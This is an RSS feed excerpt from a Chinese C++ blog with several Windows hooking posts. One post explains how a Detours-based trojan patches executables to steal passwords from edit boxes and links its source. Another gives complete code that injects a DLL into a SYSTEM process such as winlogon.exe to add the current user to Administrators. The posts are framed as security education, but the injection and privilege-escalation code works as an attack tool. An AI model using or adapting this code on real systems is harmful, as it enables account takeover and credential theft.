<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(hDevice == INVALID_HANDLE_VALUE)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("createfile wrong\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; getchar();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;while(1)<br>&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(outbuf,0,129*16);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;status =DeviceIoControl(hDevice,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IOCTL_PASSBUF,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;outbuf,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;128*16,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;dwReturn,NULL);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( !status)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("IO wrong+%d\n", GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getchar();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int c=0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while( *((char*)(&amp;outbuf)+c*16) )<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//把csrss.exe和自身进程信息跳过，因为会产生有大量的信息。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ( strcmp((char*)(&amp;outbuf)+c*16,"app.exe") &amp;&amp; \<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcmp((char*)(&amp;outbuf)+c*16,"csrss.exe")&nbsp;&nbsp;)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%s\n",(char*)(&amp;outbuf)+c*16);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c++;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sleep(1);<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br><br>试验结果：<br>......<br>TTPlayer.exe<br>System<br>TTPlayer.exe<br>vrvmon.exe<br>TTPlayer.exe<br>System<br>System<br>Explorer.EXE<br>Explorer.EXE<br>Explorer.EXE<br>......<br>测试,编译环境 2000 Sp4 2000 DDK<br>没写出线程的隐藏进程代码。不过基本上实现得差不多了，只需要把返回的信息，和Ring3级查询得到的信息进行适时对比就能查出异常进程了。<br>
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28944.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-29 13:59 <a href="http://www.cppblog.com/mydriverc/articles/28944.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>内核级HOOK的几种实现与应用</title><link>http://www.cppblog.com/mydriverc/articles/28942.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sun, 29 Jul 2007 05:43:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28942.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28942.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28942.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28942.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28942.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 创建时间：2003-03-26文章属性：原创文章来源：http://www.whitecell.org文章提交：sinister (jiasys_at_21cn.com)内核级HOOK的几种实现与应用Author&nbsp;&nbsp;: sinisterEmail&nbsp;&nbsp; : sinister@whitecell.orgHomePage: http://www.w...&nbsp;&nbsp;<a href='http://www.cppblog.com/mydriverc/articles/28942.html'>阅读全文</a><img src ="http://www.cppblog.com/mydriverc/aggbug/28942.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-29 13:43 <a href="http://www.cppblog.com/mydriverc/articles/28942.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用Detours截取Windows程序密码</title><link>http://www.cppblog.com/mydriverc/articles/28941.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sun, 29 Jul 2007 05:25:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28941.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28941.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28941.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28941.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28941.html</trackback:ping><description><![CDATA[一、引言 <br>&nbsp;<br>随着信息技术的快速发展，人们会越来越重视信息的安全性，信息数据的安全保密已经成为研究计算机发展的一个重要课题。在其它
识别技术尚不能普及情况下，密码常常被用户用作保护他们宝贵数据的最后一道屏障，然而有了密码，用户也不能高枕无忧，因为现在有很多的工具可以穷举和窃取
用户密码，下面通过Detours简单介绍一下截取密码的基本原理，以此提醒用户密码要定期更换，而且其它相关的安全保卫措施同样不可忽视。 <br>&nbsp;<br>&nbsp;<br>二、基本原理 <br>&nbsp;<br>在Windows
编程中，人们普遍使用密码编辑框，来提示用户使用密码，密码编辑框除了回显字符之外，与一般的编辑框框控件并没有任何区别。通过调用
GetWindowText和GetDlgItemText函数，或者向该密码编辑框窗口发送WM_GETTEXT消息，用户很容易获得这些输入的密码字
符，这可以通过Visual
Studio提供的SPY++工具来验证。如果用户为了图省事，让系统记住这些密码，免去每次登录时密码输入，这将会使他们陷入更加危险的境地，因为现在
有许多类似于Reveal的小程序，可以获得鼠标所指之处的密码，它们基本上都是通过向密码编辑框发送WM_GETTEXT消息实现的。即便不让系统保存
密码，用户也不能大意，因为就在你输入程序的背后，可能隐藏着
这么一个恶意的程序，它会记录你输入的任何字符，并神不知鬼不觉地把它记录到一个文件中。 <br>&nbsp;<br>这样的程序一般都是通过钩子函数或者
API
HOOK实现的。因为用户输入完密码之后，还要提交给应用程序来验证，并以此确定他们是否为合法用户。这时候，应用程序往往会调用上述函数或者发送
WM_GETTEXT消息，获得用户输入的密码文本。如果有这么一个程序，能够截获这些API函数调用或者截获这些窗口消息，那么它就会在密码到达应用程
序之前先期截获这些密码。 <br>&nbsp;<br>这些程序一般都会在系统启动时，自动运行，然后安装系统钩子，截获GetWindowText或
GetDlgItemText函数，或者截获Windows消息（如WM_DESTROY)，并向密码及其兄弟窗口发送WM_GETTEXT消息，即可获
得包括用户名在内的全部文本，保存到文件之后，然后把控制权交给系统。这样的程序一般都有
局限性，因为它必须开机自动运行后，才会起作用，因此通过修改注册编辑表，很容易发现它们的踪迹，并把它们清除到系统之外。而且在安全模式下，这些程序除
非你主动运行它，否则它永远不会被激活。
注意这里的运行并非一定要你用鼠标去双击一个应用程序，如果你双击的文件是一个TXT文本文件（或者BMP、HTML等文件），而这些文件默认打开程序已
被修改为黑客程序，这种情况下数据文件成了导火索，它们同样也会激活黑客程序。 <br>&nbsp;<br>还有一种程序是以DLL形式寄生在可执行文件之上
（譬如记事本Notepad、画笔Mspaint)_)，这往往需要一个安装程序，负责修改可执行文件，使得可执行文件运行时能够自动加载这些（木马程
序）动态链接库，删除这些动态链接库，则会导致可执行文件无法运行。这种情况下，除非你重新安装应用程序， 否则你无法甩掉跟在你程序背后的鬼影。 <br>&nbsp;<br>三、具体实现 <br>&nbsp;<br>1.动态链接库的注入 <br>&nbsp;<br>动
态链接库是WIN32系统的一个重要组成部分，它能够动态地装入到进程的地址空间，
动态链接库一旦注入到应用程序的进程空间，就会成为应用程序的运行中的一部分，和应用程序代码一起运行。由于有些进程压根就没有用到某些动态链接库，包括
它的输出数据和输出函数。可以说这些应用程序和动态链接库之间没有任何&#8220;血缘关系&#8221;,应用程序也从来不会去主动地加载这些动态链接库，因此，我们必须编写
代码实现DLL库的注入。把动态链接库注入到另外一个进程。最经典的做法是，在DLL中安装一个钩子函数，这样系统会帮我们把它注入到每一个受该钩子函数
影响的进程之中。 <br>&nbsp;<br><span style="font-weight: bold;">钩子函数的安装往往需要一个安装程序，负责调用SetWindowsHookEx函数,然而如果我们每次使用钩子
函数时都运行安装程序,那将是非常麻烦,对于一个木马程序来说,很容易暴露自己,因此我们希望我们的动态连接库能够寄生在一个可执行文件之上,一旦这个应
用程序执行时,它就会在进程初始化阶段(DLL_PROCESS_ATTACH),安装钩子函数,这样应用程序甚至系统的窗口消息都会处于钩子函数的监控
之下,钩子函数的钩子过程会负责截获有用的消息,并作相应的处理。 </span><br>&nbsp;<br>微软公司提供的Detours工具包（<a href="http://www.research.microsoft.com/sn/detours">http://www.research.microsoft.com/sn/detours</a>），
刚好能够满足我们这个要求。Detours除了提供了一组API拦截的函数之外，还提供了一组函数能够很容易地实现DLL的注入，利用这组函数，我们既可
以创建一个注入了DLL的新进程，也可以把DLL注入到一个已经运行的进程，更重要的是，它还能够修改应用程序的文件头，在文件头中加入DLL的信息，这
样应用程序修改后不用任何干预，它自身就能负责完成动态链接库的加载。 <br>&nbsp;<br>2.Detours注入动态链接库 <br>&nbsp;<br>&nbsp;<br>我
们知道win32应用程序都采用win 32二进制PE格式存储，PE是一个COFF扩展（Common Object File
Format）。一个win32二进制文件是由下面几部分组成的，一个DOS 兼容头、一个PE头、
一个包含程序代码的文本段、一个包含初始化数据的数据段、一个列举引用DLL
和函数名的引入表、一个列举代码和输出符号的输出表，除了两个头结构之外,其余部分都是可选的,在某些win32文件中可能某些部分不存在。 <br>&nbsp;<br>&nbsp;<br>&nbsp;<br>&nbsp;<br>为
了修改win 32 二进制代码，Detours
又在输出表和调试符号部分中间创建了一个新的.Detours段（如上图所示）（注：调试符号部分必须位于win32
二进值文件的最后），这个新的.Detours段包含了一个Detours头记录和一个原来PE头的副本。如果要修改输入表的话，Detours就会创建
一个新的输入表，并把它添加到复制的PE
头中，然后修改原始的PE头结构，使其指向新的输入表。最后，Detours把用户的Payloads(负载)追加到.
Detours段的尾部，然后在文件尾部添加调试符号信息。由于Detours备份了原始的PE头，所以这个过程完全可逆，以便能够去除.Detours
段,恢复exe文件到未注入前的样子。 <br>&nbsp;<br>创建一个新的输入表有两个目的，一个目的是它能够保存原来的输入表，以便需要时恢复对原来文件的修改;另一个目的是，新的输入表可以包含重命名的动态连接库和函数,还可以包含新的动态连接库和函数. <br>&nbsp;<br>Detours
既提供了一组编辑输入表，添加、枚举、去除Payloads(负载),再绑定二进制的函数,也提供了一组枚举映射地址空间的二进制文件、定位映射文件
Payloads(负载)的函数。每一个Payload(负载)均由一个GUID (a 128- bit globally unque
identifier全球唯一标识符)标识。 <br>&nbsp;<br>这些函数的使用读者可以参考Detours提供的例子程序SetDll.cpp文件。 <br>&nbsp;<br>3.消息拦截 <br>&nbsp;<br>一
旦动态链接库注入到应用程序后，它就会在进程初始化阶段完成钩子函数的安装，这里我们安装了两种钩子类型，WH_GETMESSAGE和
WH_CALLWNDPROC，钩子函数的处理过程主要对WM_SETFOCUS和WM_DESTROY消息进行拦截，对前一个消息，先通过获得其类名
（GetClassName函数）和窗口风格（GetWindowLong函数），判断它是否是一个密码编辑框（注意VisualC++、Delphi、
Visual
Basic编辑框的类名都不一样）。如果是，则把它本身窗口及其兄弟窗口、父窗口的窗口句柄保存到一个数组中，一旦系统向窗口WM_DESTROY消息
时，消息被钩子函数截获,钩子处理过程会向保存到数组中的每一个窗口句柄发送WM_GETTEXT,获得对话框标题或各个编辑框的文本。 <br>&nbsp;<br>四、程序的使用 <br>&nbsp;<br>本
程序是在Windows 2000环境下用Visual C++
6.0调试通过的，在Windows98环境下也可以运行。使用时，先运行DllPatch.Exe程序，然后浏览到有密码的应用程序，确认后，
DllPath程序会给目标应用程序创建一个备份文件，然后修改应用程序，并把InetPub.Dll文件拷贝到目标应用程序目录和Windows系统目
录。这时你可以利用View Dependency
工具打开应用程序文件,你会发现它里面又多引用了一个名叫InetPub.Dll的动态链接库.密码截获后，木马程序会把密码文件存放在临时文件目录下的
一个扩展名为tmp的文件中，为了便于说明，该文件的内容没有加密，同时Windows系统目录的Kernel32.ini文件也保存了有关密码的一些信
息。真正的黑客程序可能就不会这么做,因为这很容易暴露自己,而且它还会修改InetPub.dll文件的日期与应用程序一致。也许你会说，我马上更改密
码，你截获的密码照样进不去，殊不知就在你更改密码的同时，更改后的新密码也被记录下来。 <br>&nbsp;<br>通过这个程序，我们可以看到仅仅依靠密码来保证系统的安全是远远不够的。 <br>点击这里下载<a href="http://www.ccw.com.cn/htm/app/down/Source.zip">源程序</a>和<a href="http://www.ccw.com.cn/htm/app/down/Demo.zip">演示程序</a>。 <br>DETOURS 下载地址： <br><a href="http://www.research.microsoft.com/sn/detours">http://www.research.microsoft.com/sn/detours</a> <br><a href="http://research.microsoft.com/sn/detours">http://research.microsoft.com/sn/detours</a>
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28941.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-29 13:25 <a href="http://www.cppblog.com/mydriverc/articles/28941.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用DETOURS库获取NT管理员权限</title><link>http://www.cppblog.com/mydriverc/articles/28939.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sun, 29 Jul 2007 05:10:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28939.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28939.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28939.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28939.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28939.html</trackback:ping><description><![CDATA[<div style="text-align: left;">		---- Detours是微软开发的一个函数库（源代码可在http://research.microsoft.com/sn/detours 免费获得）, 用于修改运行中的程序在内存中的影像，从而即使没有源代码也能改变程序的行为。具体用途是： <br><br>拦截WIN32 API调用，将其引导到自己的子程序，从而实现WIN32 API的定制。 <br>为一个已在运行的进程创建一新线程，装入自己的代码并运行。 <br>----
本文将简介Detours的原理，Detours库函数的用法， 并利用Detours库函数在Windows
NT上编写了一个程序，该程序能使有&#8220;调试程序&#8221;的用户权限的用户成为系统管理员，附录利用Detours库函数修改该程序使普通用户即可成为系统管理
员.<br><br><br>一． Detours的原理 <br><br>---- 1． WIN32进程的内存管理 <br><br>---- 总所周知，WINDOWS NT实现了虚拟存储器，每一WIN32进程拥有4GB的虚存空间， 关于WIN32进程的虚存结构及其操作的具体细节请参阅WIN32 API手册， 以下仅指出与Detours相关的几点： <br><br>---- (1) 进程要执行的指令也放在虚存空间中 <br>---- (2) 可以使用QueryProtectEx函数把存放指令的页面的权限更改为可读可写可执行，再改写其内容，从而修改正在运行的程序 <br>---- (3) 可以使用VirtualAllocEx从一个进程为另一正运行的进程分配虚存，再使用 QueryProtectEx函数把页面的权限更改为可读可写可执行，并把要执行的指令以二进制机器码的形式写入，从而为一个正在运行的进程注入任意的代码 <br><br>---- 2． 拦截WIN32 API的原理 <br><br>---- Detours定义了三个概念： <br><br>---- (1) Target函数：要拦截的函数，通常为Windows的API。 <br>---- (2) Trampoline函数：Target函数的复制品。因为Detours将会改写Target函数，所以先把Target函数复制保存好，一方面仍然保存Target函数的过程调用语义，另一方面便于以后的恢复。 <br>---- (3) Detour 函数：用来替代Target函数的函数。 <br><br>----
Detours在Target函数的开头加入JMP Address_of_ Detour_
Function指令（共5个字节）把对Target函数的调用引导到自己的Detour函数， 把Target函数的开头的5个字节加上JMP
Address_of_ Target _ Function+5作为Trampoline函数。例子如下： <br><br>拦截前：Target _ Function：<br>&nbsp;；Target函数入口，以下为假想的常见的子程序入口代码<br>&nbsp;push &nbsp;ebp<br>&nbsp;mov &nbsp;ebp, &nbsp;esp<br>&nbsp;push &nbsp;eax<br>&nbsp;push &nbsp;ebx<br>&nbsp;Trampoline:<br>&nbsp;；以下是Target函数的继续部分<br>&nbsp;&#8230;&#8230;<br><br>拦截后： Target _ Function：<br>&nbsp;jmp &nbsp;Detour_Function<br>&nbsp;Trampoline:<br>&nbsp;；以下是Target函数的继续部分<br>&nbsp;&#8230;&#8230;<br><br>&nbsp;Trampoline_Function:<br>&nbsp;; Trampoline函数入口, 开头的5个字节与Target函数相同<br>&nbsp;push &nbsp;ebp<br>&nbsp;mov &nbsp;ebp, &nbsp;esp<br>&nbsp;push &nbsp;eax<br>&nbsp;push &nbsp;ebx<br>&nbsp;；跳回去继续执行Target函数<br>&nbsp;jmp &nbsp;Target_Function+5<br>---- 3． 为一个已在运行的进程装入一个DLL <br><br>---- 以下是其步骤： <br><br>---- (1) 创建一个ThreadFuction，内容仅是调用LoadLibrary。 <br>---- (2) 用VirtualAllocEx为一个已在运行的进程分配一片虚存，并把权限更改为可读可写可执行。 <br>---- (3) 把ThreadFuction的二进制机器码写入这片虚存。 <br>---- (4) 用CreateRemoteThread在该进程上创建一个线程，传入前面分配的虚存的起始地址作为线程函数的地址，即可为一个已在运行的进程装入一个DLL。通过DllMain 即可在一个已在运行的进程中运行自己的代码。 <br><br>二． Detours库函数的用法 <br><br>---- 因为Detours软件包并没有附带帮助文件，以下接口仅从剖析源代码得出。 <br><br>---- 1． PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction) <br><br>---- 功能：从一DLL中找出一函数的入口地址 <br>---- 参数：pszModule是DLL名，pszFunction是函数名。 <br>---- 返回：名为pszModule的DLL的名为pszFunction的函数的入口地址 <br>---- 说明：DetourFindFunction除使用GetProcAddress外，还直接分析DLL的文件头，因此可以找到一些GetProcAddress找不到的函数入口。 <br><br>---- 2． DETOUR_TRAMPOLINE(trampoline_prototype, target_name) <br>---- 功能：该宏把名为target_name 的Target函数生成Trampoline函数，以后调用 trampoline_prototype在语义上等于调用Target函数。 <br><br>---- 3． BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour) <br>---- 功能：用Detour 函数拦截Target函数 <br>---- 参数：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函数的入口地址。 <br><br>---- 4． BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour) <br>---- 功能：恢复Target函数 <br>---- 参数：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函数的入口地址。 <br><br>---- 5． BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName) <br>---- 功能：为一个已在运行的进程装入一个DLL <br>---- 参数：hProcess是进程的句柄，lpDllName是要装入的DLL名 <br><br>三． 程序实例 <br><br>----
以一个能使有&#8220;调试程序&#8221;的用户权限的用户成为系统管理员的程序做例子说明Detours
库函数的用法。程序的设计思路是找一个以System帐号运行的进程，如spoolss.exe, rpcss.exe, winlogon.exe,
service.exe等，使用ContinueProcessWithDll在其中注入把当前用户加入到
Administrators本地组的DLL，因为该DLL在这些进程的安全上下文环境运行，所以有相应的权限。 <br><br>---- 先编写相应的DLL： <br><br>/*admin.dll, 当进程装入时会把名为szAccountName<br>&nbsp;的用户加入到Administrators本地组。*/<br><br>#include <br>#include <br>#include <br>#include <br><br>/*以下创建一共享段实现进程间的数据通讯，<br>&nbsp;szAccountName 是用户名，bPrepared说明<br>&nbsp;szAccountName是否已初始化。*/<br><br>#pragma data_seg(".MYSHARE")<br>BOOL bPrepared=FALSE;<br>wchar_t szAccountName[100]={0};<br>#pragma data_seg()<br><br>#pragma comment(linker, "/SECTION:.MYSHARE,RWS")<br><br>/*程序调用SetAccountName设置要加入到Administrators<br>&nbsp;本地组的用户名，并通知DllMain<br>&nbsp;已初始化szAccountName ，<br>&nbsp;以后被装入时可调用ElevatePriv */<br><br>__declspec(dllexport) VOID WINAPI<br>&nbsp;SetAccountName(wchar_t *Name)<br>{<br>wcscpy(szAccountName,Name);<br>bPrepared=TRUE;<br>}<br><br>/*把名为szAccountName的用户加入<br>&nbsp;到Administrators本地组*/<br><br>__declspec(dllexport) VOID WINAPI ElevatePriv()<br>{<br>LOCALGROUP_MEMBERS_INFO_3 account;<br>account.lgrmi3_domainandname=szAccountName;<br>NetLocalGroupAddMembers(NULL,L"Administrators",<br>3,(LPBYTE)&amp;account,1);<br>}<br><br>__declspec(dllexport) ULONG WINAPI<br>DllMain(HINSTANCE hInstance, <br>DWORD dwReason, PVOID lpReserved)<br>{<br>switch (dwReason) {<br>&nbsp;case DLL_THREAD_ATTACH:<br>&nbsp;if (bPrepared)<br>&nbsp; &nbsp;ElevatePriv();<br>}<br>return TRUE;<br>} <br><br>程序如下：<br><br>/*AddMeToAdministrators.exe 把当前用户加入到<br>&nbsp;Administrators本地组。使用方法为：（1）<br>----
运行任务管理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的进程ID
（2）执行AddMeToAdministrators.exe procid, 其中procid为（1）记下的进程ID
（3）签退再签到，运行用户管理器，即可发现自己已在Administrators本地组中。*/ <br><br>#include <br>#include <br>#include <br>#include <br>#include <br><br>extern VOID WINAPI SetAccountName(wchar_t *Name);<br><br>/* GetCurrentUser得到自己的用户名称*/<br><br>void GetCurrentUser(wchar_t *szName)<br>{<br>&nbsp;HANDLE hProcess, hAccessToken;<br>&nbsp;wchar_t InfoBuffer[1000],szAccountName[200],<br>&nbsp;szDomainName[200];<br>&nbsp;PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;<br>&nbsp;DWORD dwInfoBufferSize,dwAccountSize = 200,<br>&nbsp;dwDomainSize = 200;<br>&nbsp;SID_NAME_USE snu;<br><br>&nbsp;hProcess = GetCurrentProcess();<br><br>&nbsp;OpenProcessToken(hProcess,TOKEN_READ,&amp;hAccessToken);<br><br>&nbsp;GetTokenInformation(hAccessToken,TokenUser,<br>&nbsp;InfoBuffer,<br>&nbsp; &nbsp; &nbsp;1000, &amp;dwInfoBufferSize);<br><br>&nbsp;LookupAccountSid(NULL, pTokenUser-&gt;User.Sid,<br>&nbsp;szAccountName,<br>&nbsp; &nbsp; &nbsp;&amp;dwAccountSize,szDomainName, &amp;dwDomainSize, &amp;snu);<br>&nbsp;wcscpy(szName,szDomainName); <br>&nbsp;wcscat(szName,L"\\");<br>&nbsp;wcscat(szName,szAccountName);<br>}<br><br>/* EnablePrivilege启用自己的&#8220;调试程序&#8221;的用户权限*/<br><br>BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable) <br>{<br>HANDLE hToken;<br>if (!OpenProcessToken(GetCurrentProcess(), <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;TOKEN_ADJUST_PRIVILEGES, &amp;hToken)) <br>&nbsp;return FALSE;<br>TOKEN_PRIVILEGES tp;<br>tp.PrivilegeCount = 1;<br>LookupPrivilegeValue(NULL, szPrivName,<br>&amp;tp.Privileges[0].Luid);<br>tp.Privileges[0].Attributes = fEnable ?<br>SE_PRIVILEGE_ENABLED : 0;<br>AdjustTokenPrivileges(hToken, FALSE, &amp;tp,<br>sizeof(tp), NULL, NULL);<br>return((GetLastError() == ERROR_SUCCESS));<br>}<br><br>int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev,<br>LPSTR lpszCmdLine, int <br>nCmdShow)<br>{<br>INT argc;<br>WCHAR **argv;<br>argv = CommandLineToArgvW(GetCommandLineW(),<br>&amp;argc);<br>INT nProcessId = -1;<br>if (argc!=2){<br>&nbsp;wprintf(L"usage %s pid", argv[0]);<br>&nbsp;return 1;<br>}<br>nProcessId = _wtoi(argv[1]);<br>printf("%d\n",nProcessId);<br>---- /*要成功执行ContinueProcessWithDll，要对winlogon.exe等进程的进程句柄有读写存储器内容和创建线程的权限，EnablePrivilege使本进程有这样的权利。*/ <br><br>if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){<br>&nbsp;printf("AdjustTokenPrivilege Fail %u\n",<br>(UINT)GetLastError());<br>&nbsp;return 1;<br>}<br>HANDLE &nbsp;gNewHandle = <br>OpenProcess(PROCESS_ALL_ACCESS<br>, TRUE, nProcessId); <br>if (!gNewHandle){<br>&nbsp;printf("OpenProcess Fail %u\n",<br>(UINT)GetLastError());<br>&nbsp;return 1;<br>}<br>&nbsp;wchar_t szName[100];<br>GetCurrentUser(szName);<br>SetAccountName(szName);<br>If (!ContinueProcessWithDll(gNewHandle,<br>L"c:\\temp\\admin.dll")) {<br>&nbsp;printf("ContinueProcessWithDll failed %u",<br>(UINT)GetLastError());<br>&nbsp;return 3;<br>}<br>return 0;<br>}<br>---- 因为&#8220;调试程序&#8221;的用户权限缺省情况下仅赋予给管理员，因此并不会造成安全漏洞。但该程序揭示出&#8220;调试程序&#8221;的用户权限其实是至高无上的用户权限，只能授予给可信用户。 <br><br>四． 结论 ---- Detours是一强大的工具，提供了简单易用的函数接口来拦截WIN32 API调用和为一个已在运行的进程装入一个DLL。&nbsp;&nbsp;<br>&nbsp;<br><br>
<p id="TBPingURL">Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1628087</p>
<br></div><img src ="http://www.cppblog.com/mydriverc/aggbug/28939.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-29 13:10 <a href="http://www.cppblog.com/mydriverc/articles/28939.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>win2k  api拦截的代码  自己输入了</title><link>http://www.cppblog.com/mydriverc/articles/28936.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sun, 29 Jul 2007 05:02:00 